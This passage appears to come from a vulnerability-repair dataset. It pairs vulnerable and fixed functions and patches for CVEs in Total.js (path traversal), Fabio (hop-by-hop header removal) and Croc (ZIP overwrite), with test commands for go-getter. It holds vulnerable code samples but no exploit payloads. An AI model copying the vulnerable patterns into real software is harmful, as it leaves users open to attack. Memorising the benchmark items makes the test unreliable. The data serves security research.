args...)\n \tsetupGitEnv(cmd, sshKeyFile)\n\n--- a/get_git.go\n+++ b/get_git.go\n@@ -1,6 +1,6 @@\n func findRemoteDefaultBranch(ctx context.Context, u *url.URL) string {\n \tvar stdoutbuf bytes.Buffer\n-\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", u.String(), \"HEAD\")\n+\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", \"--\", u.String(), \"HEAD\")\n \tcmd.Stdout = &stdoutbuf\n \terr := cmd.Run()\n \tmatches := lsRemoteSymRefRegexp.FindStringSubmatch(stdoutbuf.String())\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-6257:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/go-getter\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestGitGetter_BadRemoteUrl$ github.com/hashicorp/go-getter\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-6257:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/go-getter\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestGitGetter_gitVersion|TestGitGetter_tag|TestGitGetter_sshSCPStyleInvalidScheme|TestGitGetter_shallowClone|TestGitGetter_setupGitEnvWithNoKeyFile|TestGitGetter_commitID|TestGitGetter_branch|TestGitGetter_shallowCloneWithTag|TestGitGetter_GetFile|TestGitGetter_submodule|TestGitGetter_subdirectory|TestGitGetter_shallowCloneWithCommitID|TestGitGetter_setupGitEnv_sshKey|TestGitGetter_impl|TestGitGetter|TestGitGetter_branchUpdate|TestGitGetter_subdirectory_symlink|TestGitGetter_remoteWithoutMaster|TestGitGetter_setupGitEnvWithExisting_sshKey)$' github.com/hashicorp/go-getter"}
{"cve_id": "CVE-2019-8903", "cve_description": "index.js in Total.js Platform before 3.2.3 allows path traversal.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/totaljs/framework", "patch_url": ["https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b", "https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_170_1", "commit": "f1e94c1", "file_path": "index.js", "start_line": 7380, "end_line": 7564, "snippet": "F.$requestcontinue = function(req, res, headers) {\n\n\tif (!req || !res || res.headersSent || res.success)\n\t\treturn;\n\n\t// Validates if this request is the file (static file)\n\tif (req.isStaticFile) {\n\n\t\t// Stops path travelsation outside of \"public\" directory\n\t\t// A potential security issue\n\t\tif (req.uri.pathname.indexOf('./') !== -1) {\n\t\t\treq.$total_status(404);\n\t\t\treturn;\n\t\t}\n\n\t\tF.stats.request.file++;\n\t\tif (F._length_files)\n\t\t\treq.$total_file();\n\t\telse\n\t\t\tres.continue();\n\t\treturn;\n\t}\n\n\tif (!PERF[req.method]) {\n\t\treq.$total_status(404);\n\t\treturn;\n\t}\n\n\tF.stats.request.web++;\n\n\treq.body = EMPTYOBJECT;\n\treq.files = EMPTYARRAY;\n\treq.buffer_exceeded = false;\n\treq.buffer_has = false;\n\treq.$flags = req.method[0] + req.method[1];\n\n\tvar flags = [req.method.toLowerCase()];\n\tvar multipart;\n\n\tif (F._request_check_mobile && req.mobile) {\n\t\treq.$flags += 'a';\n\t\tF.stats.request.mobile++;\n\t} else\n\t\tF.stats.request.desktop++;\n\n\treq.$protocol[5] && (req.$flags += req.$protocol[5]);\n\treq.$type = 0;\n\tflags.push(req.$protocol);\n\n\tvar method = req.method;\n\tvar first = method[0];\n\n\tif (first === 'P' || first === 'D') {\n\t\tmultipart = req.headers['content-type'] || '';\n\t\treq.buffer_data = U.createBuffer();\n\t\tvar index = multipart.lastIndexOf(';');\n\t\tvar tmp = multipart;\n\t\tif (index !== -1)\n\t\t\ttmp = tmp.substring(0, index);\n\t\tswitch (tmp.substring(tmp.length - 4)) {\n\t\t\tcase 'json':\n\t\t\t\treq.$flags += 'b';\n\t\t\t\tflags.push('json');\n\t\t\t\treq.$type = 1;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tcase 'oded':\n\t\t\t\treq.$type = 3;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tcase 'data':\n\t\t\t\treq.$flags += 'c';\n\t\t\t\treq.$upload = true;\n\t\t\t\tflags.push('upload');\n\t\t\t\tbreak;\n\t\t\tcase '/xml':\n\t\t\t\treq.$flags += 'd';\n\t\t\t\tflags.push('xml');\n\t\t\t\treq.$type = 2;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif (multipart) {\n\t\t\t\t\t// 'undefined' DATA\n\t\t\t\t\tmultipart = '';\n\t\t\t\t\tflags.push('raw');\n\t\t\t\t} else {\n\t\t\t\t\treq.$type = 3;\n\t\t\t\t\tmultipart = '';\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (headers.accept === 'text/event-stream') {\n\t\treq.$flags += 'g';\n\t\tflags.push('sse');\n\t}\n\n\tif (DEBUG) {\n\t\treq.$flags += 'h';\n\t\tflags.push('debug');\n\t}\n\n\tif (req.xhr) {\n\t\tF.stats.request.xhr++;\n\t\treq.$flags += 'i';\n\t\tflags.push('xhr');\n\t}\n\n\tif (F._request_check_robot && req.robot)\n\t\treq.$flags += 'j';\n\n\tif (F._request_check_referer) {\n\t\tvar referer = headers['referer'];\n\t\tif (referer && referer.indexOf(headers['host']) !== -1) {\n\t\t\treq.$flags += 'k';\n\t\t\tflags.push('referer');\n\t\t}\n\t}\n\n\treq.flags = flags;\n\tF.$events['request-begin'] && EMIT('request-begin', req, res);\n\n\tvar isCORS = (F._length_cors || F.routes.corsall) && req.headers.origin != null;\n\n\tswitch (first) {\n\t\tcase 'G':\n\t\t\tF.stats.request.get++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'O':\n\t\t\tF.stats.request.options++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'H':\n\t\t\tF.stats.request.head++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'D':\n\t\t\tF.stats.request['delete']++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback1);\n\t\t\telse\n\t\t\t\treq.$total_urlencoded();\n\t\t\treturn;\n\n\t\tcase 'P':\n\t\t\tif (F._request_check_POST) {\n\t\t\t\tif (multipart) {\n\t\t\t\t\tif (isCORS)\n\t\t\t\t\t\tF.$cors(req, res, cors_callback_multipart, multipart);\n\t\t\t\t\telse\n\t\t\t\t\t\treq.$total_multipart(multipart);\n\t\t\t\t} else {\n\t\t\t\t\tif (method === 'PUT')\n\t\t\t\t\t\tF.stats.request.put++;\n\t\t\t\t\telse if (method === 'PATCH')\n\t\t\t\t\t\tF.stats.request.path++;\n\t\t\t\t\telse\n\t\t\t\t\t\tF.stats.request.post++;\n\t\t\t\t\tif (isCORS)\n\t\t\t\t\t\tF.$cors(req, res, cors_callback1);\n\t\t\t\t\telse\n\t\t\t\t\t\treq.$total_urlencoded();\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tbreak;\n\t}\n\n\treq.$total_status(404);\n};"}], "fix_func": [{"id": "fix_js_170_1", "commit": "de16238", "file_path": "index.js", "start_line": 7380, "end_line": 7568, "snippet": "F.$requestcontinue = function(req, res, headers) {\n\n\tif (!req || !res || res.headersSent || res.success)\n\t\treturn;\n\n\t// Validates if this request is the file (static file)\n\tif (req.isStaticFile) {\n\n\t\t// Stops path travelsation outside of \"public\" directory\n\t\t// A potential security issue\n\t\tfor (var i = 0; i < req.uri.pathname.length; i++) {\n\t\t\tvar c = req.uri.pathname[i];\n\t\t\tvar n = req.uri.pathname[i + 1];\n\t\t\tif ((c === '.' && n === '/') || (c === '%' && n === '2' && req.uri.pathname[i + 2] === 'e')) {\n\t\t\t\treq.$total_status(404);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tF.stats.request.file++;\n\t\tif (F._length_files)\n\t\t\treq.$total_file();\n\t\telse\n\t\t\tres.continue();\n\t\treturn;\n\t}\n\n\tif (!PERF[req.method]) {\n\t\treq.$total_status(404);\n\t\treturn;\n\t}\n\n\tF.stats.request.web++;\n\n\treq.body = EMPTYOBJECT;\n\treq.files = EMPTYARRAY;\n\treq.buffer_exceeded = false;\n\treq.buffer_has = false;\n\treq.$flags = req.method[0] + req.method[1];\n\n\tvar flags = [req.method.toLowerCase()];\n\tvar multipart;\n\n\tif (F._request_check_mobile && req.mobile) {\n\t\treq.$flags += 'a';\n\t\tF.stats.request.mobile++;\n\t} else\n\t\tF.stats.request.desktop++;\n\n\treq.$protocol[5] && (req.$flags += req.$protocol[5]);\n\treq.$type = 0;\n\tflags.push(req.$protocol);\n\n\tvar method = req.method;\n\tvar first = method[0];\n\n\tif (first === 'P' || first === 'D') {\n\t\tmultipart = req.headers['content-type'] || '';\n\t\treq.buffer_data = U.createBuffer();\n\t\tvar index = multipart.lastIndexOf(';');\n\t\tvar tmp = multipart;\n\t\tif (index !== -1)\n\t\t\ttmp = tmp.substring(0, index);\n\t\tswitch (tmp.substring(tmp.length - 4)) {\n\t\t\tcase 'json':\n\t\t\t\treq.$flags += 'b';\n\t\t\t\tflags.push('json');\n\t\t\t\treq.$type = 1;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tcase 'oded':\n\t\t\t\treq.$type = 3;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tcase 'data':\n\t\t\t\treq.$flags += 'c';\n\t\t\t\treq.$upload = true;\n\t\t\t\tflags.push('upload');\n\t\t\t\tbreak;\n\t\t\tcase '/xml':\n\t\t\t\treq.$flags += 'd';\n\t\t\t\tflags.push('xml');\n\t\t\t\treq.$type = 2;\n\t\t\t\tmultipart = '';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif (multipart) {\n\t\t\t\t\t// 'undefined' DATA\n\t\t\t\t\tmultipart = '';\n\t\t\t\t\tflags.push('raw');\n\t\t\t\t} else {\n\t\t\t\t\treq.$type = 3;\n\t\t\t\t\tmultipart = '';\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (headers.accept === 'text/event-stream') {\n\t\treq.$flags += 'g';\n\t\tflags.push('sse');\n\t}\n\n\tif (DEBUG) {\n\t\treq.$flags += 'h';\n\t\tflags.push('debug');\n\t}\n\n\tif (req.xhr) {\n\t\tF.stats.request.xhr++;\n\t\treq.$flags += 'i';\n\t\tflags.push('xhr');\n\t}\n\n\tif (F._request_check_robot && req.robot)\n\t\treq.$flags += 'j';\n\n\tif (F._request_check_referer) {\n\t\tvar referer = headers['referer'];\n\t\tif (referer && referer.indexOf(headers['host']) !== -1) {\n\t\t\treq.$flags += 'k';\n\t\t\tflags.push('referer');\n\t\t}\n\t}\n\n\treq.flags = flags;\n\tF.$events['request-begin'] && EMIT('request-begin', req, res);\n\n\tvar isCORS = (F._length_cors || F.routes.corsall) && req.headers.origin != null;\n\n\tswitch (first) {\n\t\tcase 'G':\n\t\t\tF.stats.request.get++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'O':\n\t\t\tF.stats.request.options++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'H':\n\t\t\tF.stats.request.head++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback0);\n\t\t\telse\n\t\t\t\treq.$total_end();\n\t\t\treturn;\n\n\t\tcase 'D':\n\t\t\tF.stats.request['delete']++;\n\t\t\tif (isCORS)\n\t\t\t\tF.$cors(req, res, cors_callback1);\n\t\t\telse\n\t\t\t\treq.$total_urlencoded();\n\t\t\treturn;\n\n\t\tcase 'P':\n\t\t\tif (F._request_check_POST) {\n\t\t\t\tif (multipart) {\n\t\t\t\t\tif (isCORS)\n\t\t\t\t\t\tF.$cors(req, res, cors_callback_multipart, multipart);\n\t\t\t\t\telse\n\t\t\t\t\t\treq.$total_multipart(multipart);\n\t\t\t\t} else {\n\t\t\t\t\tif (method === 'PUT')\n\t\t\t\t\t\tF.stats.request.put++;\n\t\t\t\t\telse if (method === 'PATCH')\n\t\t\t\t\t\tF.stats.request.path++;\n\t\t\t\t\telse\n\t\t\t\t\t\tF.stats.request.post++;\n\t\t\t\t\tif (isCORS)\n\t\t\t\t\t\tF.$cors(req, res, cors_callback1);\n\t\t\t\t\telse\n\t\t\t\t\t\treq.$total_urlencoded();\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tbreak;\n\t}\n\n\treq.$total_status(404);\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -8,9 +8,13 @@\n \n \t\t// Stops path travelsation outside of \"public\" directory\n \t\t// A potential security issue\n-\t\tif (req.uri.pathname.indexOf('./') !== -1) {\n-\t\t\treq.$total_status(404);\n-\t\t\treturn;\n+\t\tfor (var i = 0; i < req.uri.pathname.length; i++) {\n+\t\t\tvar c = req.uri.pathname[i];\n+\t\t\tvar n = req.uri.pathname[i + 1];\n+\t\t\tif ((c === '.' && n === '/') || (c === '%' && n === '2' && req.uri.pathname[i + 2] === 'e')) {\n+\t\t\t\treq.$total_status(404);\n+\t\t\t\treturn;\n+\t\t\t}\n \t\t}\n \n \t\tF.stats.request.file++;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-48865", "cve_description": "Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.", "cwe_info": {"CWE-345": {"name": "Insufficient Verification of Data Authenticity", "description": "The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data."}}, "repo": "https://github.com/fabiolb/fabio", "patch_url": ["https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_296_1", "commit": "66acfbb02a64485b1471005df175c8408c5025cb", "file_path": "proxy/http_headers.go", "start_line": 36, "end_line": 135, "snippet": "func addHeaders(r *http.Request, cfg config.Proxy, stripPath string) error {\n\tremoteIP, _, err := net.SplitHostPort(r.RemoteAddr)\n\tif err != nil {\n\t\treturn errors.New(\"cannot parse \" + r.RemoteAddr)\n\t}\n\n\t// set configurable ClientIPHeader\n\t// X-Real-Ip is set later and X-Forwarded-For is set\n\t// by the Go HTTP reverse proxy.\n\tif cfg.ClientIPHeader != \"\" &&\n\t\tcfg.ClientIPHeader != \"X-Forwarded-For\" &&\n\t\tcfg.ClientIPHeader != \"X-Real-Ip\" {\n\t\tr.Header.Set(cfg.ClientIPHeader, remoteIP)\n\t}\n\n\tif r.Header.Get(\"X-Real-Ip\") == \"\" {\n\t\tr.Header.Set(\"X-Real-Ip\", remoteIP)\n\t}\n\n\t// set the X-Forwarded-For header for websocket\n\t// connections since they aren't handled by the\n\t// http proxy which sets it.\n\tws := r.Header.Get(\"Upgrade\") == \"websocket\"\n\tif ws {\n\t\tclientIP := remoteIP\n\t\t// If we aren't the first proxy retain prior\n\t\t// X-Forwarded-For information as a comma+space\n\t\t// separated list and fold multiple headers into one.\n\t\tprior, ok := r.Header[\"X-Forwarded-For\"]\n\t\tomit := ok && prior == nil // Issue 38079: nil now means don't populate the header\n\t\tif len(prior) > 0 {\n\t\t\tclientIP = strings.Join(prior, \", \") + \", \" + clientIP\n\t\t}\n\t\tif !omit {\n\t\t\tr.Header.Set(\"X-Forwarded-For\", clientIP)\n\t\t}\n\t}\n\n\t// Issue #133: Setting the X-Forwarded-Proto header to\n\t// anything other than 'http' or 'https' breaks java\n\t// websocket clients which use java.net.URL for composing\n\t// the forwarded URL. Since X-Forwarded-Proto is not\n\t// specified the common practice is to set it to either\n\t// 'http' for 'ws' and 'https' for 'wss' connections.\n\tproto := scheme(r)\n\tif r.Header.Get(\"X-Forwarded-Proto\") == \"\" {\n\t\tswitch proto {\n\t\tcase \"ws\":\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", \"http\")\n\t\tcase \"wss\":\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", \"https\")\n\t\tdefault:\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", proto)\n\t\t}\n\t}\n\n\tif r.Header.Get(\"X-Forwarded-Port\") == \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Port\", localPort(r))\n\t}\n\n\tif r.Header.Get(\"X-Forwarded-Host\") == \"\" && r.Host != \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Host\", r.Host)\n\t}\n\n\tif stripPath != \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Prefix\", stripPath)\n\t}\n\n\tfwd := r.Header.Get(\"Forwarded\")\n\tif fwd == \"\" {\n\t\tfwd = \"for=\" + remoteIP + \"; proto=\" + proto\n\t}\n\tif cfg.LocalIP != \"\" {\n\t\tfwd += \"; by=\" + cfg.LocalIP\n\t}\n\tif r.Proto != \"\" {\n\t\tfwd += \"; httpproto=\" + strings.ToLower(r.Proto)\n\t}\n\tif r.TLS != nil && r.TLS.Version > 0 {\n\t\tv := tlsver[r.TLS.Version]\n\t\tif v == \"\" {\n\t\t\tv = uint16base16(r.TLS.Version)\n\t\t}\n\t\tfwd += \"; tlsver=\" + v\n\t}\n\tif r.TLS != nil && r.TLS.CipherSuite != 0 {\n\t\tfwd += \"; tlscipher=\" + uint16base16(r.TLS.CipherSuite)\n\t}\n\tr.Header.Set(\"Forwarded\", fwd)\n\n\tif cfg.TLSHeader != \"\" {\n\t\tif r.TLS != nil {\n\t\t\tr.Header.Set(cfg.TLSHeader, cfg.TLSHeaderValue)\n\t\t} else {\n\t\t\tr.Header.Del(cfg.TLSHeader)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_296_1", "commit": "fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3", "file_path": "proxy/http_headers.go", "start_line": 47, "end_line": 162, "snippet": "func addHeaders(r *http.Request, cfg config.Proxy, stripPath string) error {\n\tremoteIP, _, err := net.SplitHostPort(r.RemoteAddr)\n\tif err != nil {\n\t\treturn errors.New(\"cannot parse \" + r.RemoteAddr)\n\t}\n\n\t// exclude headers from Connection rules.\n\tvar conHeaders []string\n\tfor _, s := range r.Header.Values(\"Connection\") {\n\t\tfor _, p := range strings.Split(s, \",\") {\n\t\t\tp = strings.TrimSpace(p)\n\t\t\tif !protectHeaders[textproto.CanonicalMIMEHeaderKey(p)] {\n\t\t\t\tconHeaders = append(conHeaders, p)\n\t\t\t}\n\t\t}\n\t}\n\n\tr.Header.Del(\"Connection\")\n\tif len(conHeaders) > 0 {\n\t\tr.Header.Set(\"Connection\", strings.Join(conHeaders, \", \"))\n\t}\n\n\t// set configurable ClientIPHeader\n\t// X-Real-Ip is set later and X-Forwarded-For is set\n\t// by the Go HTTP reverse proxy.\n\tif cfg.ClientIPHeader != \"\" &&\n\t\tcfg.ClientIPHeader != \"X-Forwarded-For\" &&\n\t\tcfg.ClientIPHeader != \"X-Real-Ip\" {\n\t\tr.Header.Set(cfg.ClientIPHeader, remoteIP)\n\t}\n\n\tif r.Header.Get(\"X-Real-Ip\") == \"\" {\n\t\tr.Header.Set(\"X-Real-Ip\", remoteIP)\n\t}\n\n\t// set the X-Forwarded-For header for websocket\n\t// connections since they aren't handled by the\n\t// http proxy which sets it.\n\tws := r.Header.Get(\"Upgrade\") == \"websocket\"\n\tif ws {\n\t\tclientIP := remoteIP\n\t\t// If we aren't the first proxy retain prior\n\t\t// X-Forwarded-For information as a comma+space\n\t\t// separated list and fold multiple headers into one.\n\t\tprior, ok := r.Header[\"X-Forwarded-For\"]\n\t\tomit := ok && prior == nil // Issue 38079: nil now means don't populate the header\n\t\tif len(prior) > 0 {\n\t\t\tclientIP = strings.Join(prior, \", \") + \", \" + clientIP\n\t\t}\n\t\tif !omit {\n\t\t\tr.Header.Set(\"X-Forwarded-For\", clientIP)\n\t\t}\n\t}\n\n\t// Issue #133: Setting the X-Forwarded-Proto header to\n\t// anything other than 'http' or 'https' breaks java\n\t// websocket clients which use java.net.URL for composing\n\t// the forwarded URL. Since X-Forwarded-Proto is not\n\t// specified the common practice is to set it to either\n\t// 'http' for 'ws' and 'https' for 'wss' connections.\n\tproto := scheme(r)\n\tif r.Header.Get(\"X-Forwarded-Proto\") == \"\" {\n\t\tswitch proto {\n\t\tcase \"ws\":\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", \"http\")\n\t\tcase \"wss\":\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", \"https\")\n\t\tdefault:\n\t\t\tr.Header.Set(\"X-Forwarded-Proto\", proto)\n\t\t}\n\t}\n\n\tif r.Header.Get(\"X-Forwarded-Port\") == \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Port\", localPort(r))\n\t}\n\n\tif r.Header.Get(\"X-Forwarded-Host\") == \"\" && r.Host != \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Host\", r.Host)\n\t}\n\n\tif stripPath != \"\" {\n\t\tr.Header.Set(\"X-Forwarded-Prefix\", stripPath)\n\t}\n\n\tfwd := r.Header.Get(\"Forwarded\")\n\tif fwd == \"\" {\n\t\tfwd = \"for=\" + remoteIP + \"; proto=\" + proto\n\t}\n\tif cfg.LocalIP != \"\" {\n\t\tfwd += \"; by=\" + cfg.LocalIP\n\t}\n\tif r.Proto != \"\" {\n\t\tfwd += \"; httpproto=\" + strings.ToLower(r.Proto)\n\t}\n\tif r.TLS != nil && r.TLS.Version > 0 {\n\t\tv := tlsver[r.TLS.Version]\n\t\tif v == \"\" {\n\t\t\tv = uint16base16(r.TLS.Version)\n\t\t}\n\t\tfwd += \"; tlsver=\" + v\n\t}\n\tif r.TLS != nil && r.TLS.CipherSuite != 0 {\n\t\tfwd += \"; tlscipher=\" + uint16base16(r.TLS.CipherSuite)\n\t}\n\tr.Header.Set(\"Forwarded\", fwd)\n\n\tif cfg.TLSHeader != \"\" {\n\t\tif r.TLS != nil {\n\t\t\tr.Header.Set(cfg.TLSHeader, cfg.TLSHeaderValue)\n\t\t} else {\n\t\t\tr.Header.Del(cfg.TLSHeader)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/proxy/http_headers.go\n+++ b/proxy/http_headers.go\n@@ -2,6 +2,22 @@\n \tremoteIP, _, err := net.SplitHostPort(r.RemoteAddr)\n \tif err != nil {\n \t\treturn errors.New(\"cannot parse \" + r.RemoteAddr)\n+\t}\n+\n+\t// exclude headers from Connection rules.\n+\tvar conHeaders []string\n+\tfor _, s := range r.Header.Values(\"Connection\") {\n+\t\tfor _, p := range strings.Split(s, \",\") {\n+\t\t\tp = strings.TrimSpace(p)\n+\t\t\tif !protectHeaders[textproto.CanonicalMIMEHeaderKey(p)] {\n+\t\t\t\tconHeaders = append(conHeaders, p)\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tr.Header.Del(\"Connection\")\n+\tif len(conHeaders) > 0 {\n+\t\tr.Header.Set(\"Connection\", strings.Join(conHeaders, \", \"))\n \t}\n \n \t// set configurable ClientIPHeader\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-43616", "cve_description": "An issue was discovered in Croc through 9.6.5. A sender can cause a receiver to overwrite files during ZIP extraction.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/schollz/croc", "patch_url": ["https://github.com/schollz/croc/commit/4929635eb875d2304e9415b8f4aa62af9e1a2339"], "programing_language": "Go", "vul_func": [{"id": "vul_go_157_1", "commit": "3f12f75", "file_path": "src/utils/utils.go", "start_line": 430, "end_line": 475, "snippet": "func UnzipDirectory(destination string, source string) error {\n\tarchive, err := zip.OpenReader(source)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer archive.Close()\n\n\tfor _, f := range archive.File {\n\t\tfilePath := filepath.Join(destination, f.Name)\n\t\tfmt.Fprintf(os.Stderr, \"\\r\\033[2K\")\n\t\tfmt.Fprintf(os.Stderr, \"\\rUnzipping file %s\", filePath)\n\t\t// Issue #593 conceal path traversal vulnerability\n\t\t// make sure the filepath does not have \"..\"\n\t\tfilePath = filepath.Clean(filePath)\n\t\tif strings.Contains(filePath, \"..\") {\n\t\t\tlog.Fatalf(\"Invalid file path %s\\n\", filePath)\n\t\t}\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(filePath, os.ModePerm)\n\t\t\tcontinue\n\t\t}\n\n\t\tif err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tdstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tfileInArchive, err := f.Open()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tif _, err := io.Copy(dstFile, fileInArchive); err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tdstFile.Close()\n\t\tfileInArchive.Close()\n\t}\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_157_1", "commit": "4929635", "file_path": "src/utils/utils.go", "start_line": 430, "end_line": 485, "snippet": "func UnzipDirectory(destination string, source string) error {\n\tarchive, err := zip.OpenReader(source)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer archive.Close()\n\n\tfor _, f := range archive.File {\n\t\tfilePath := filepath.Join(destination, f.Name)\n\t\tfmt.Fprintf(os.Stderr, \"\\r\\033[2K\")\n\t\tfmt.Fprintf(os.Stderr, \"\\rUnzipping file %s\", filePath)\n\t\t// Issue #593 conceal path traversal vulnerability\n\t\t// make sure the filepath does not have \"..\"\n\t\tfilePath = filepath.Clean(filePath)\n\t\tif strings.Contains(filePath, \"..\") {\n\t\t\tlog.Fatalf(\"Invalid file path %s\\n\", filePath)\n\t\t}\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(filePath, os.ModePerm)\n\t\t\tcontinue\n\t\t}\n\n\t\tif err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\t// check if file exists\n\t\tif _, err := os.Stat(filePath); err == nil {\n\t\t\tprompt := fmt.Sprintf(\"\\nOverwrite '%s'? (y/N) \", filePath)\n\t\t\tchoice := strings.ToLower(GetInput(prompt))\n\t\t\tif choice != \"y\" && choice != \"yes\" {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"skipping '%s'\", filePath)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tdstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tfileInArchive, err := f.Open()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tif _, err := io.Copy(dstFile, fileInArchive); err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t}\n\n\t\tdstFile.Close()\n\t\tfileInArchive.Close()\n\t}\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n\treturn nil\n}"}], "vul_patch": "--- a/src/utils/utils.go\n+++ b/src/utils/utils.go\n@@ -24,6 +24,16 @@\n \t\t\tlog.Fatalln(err)\n \t\t}\n \n+\t\t// check if file exists\n+\t\tif _, err := os.Stat(filePath); err == nil {\n+\t\t\tprompt := fmt.Sprintf(\"\\nOverwrite '%s'? (y/N) \", filePath)\n+\t\t\tchoice := strings.ToLower(GetInput(prompt))\n+\t\t\tif choice != \"y\" && choice != \"yes\" {\n+\t\t\t\tfmt.Fprintf(os.Stderr, \"skipping '%s'\", 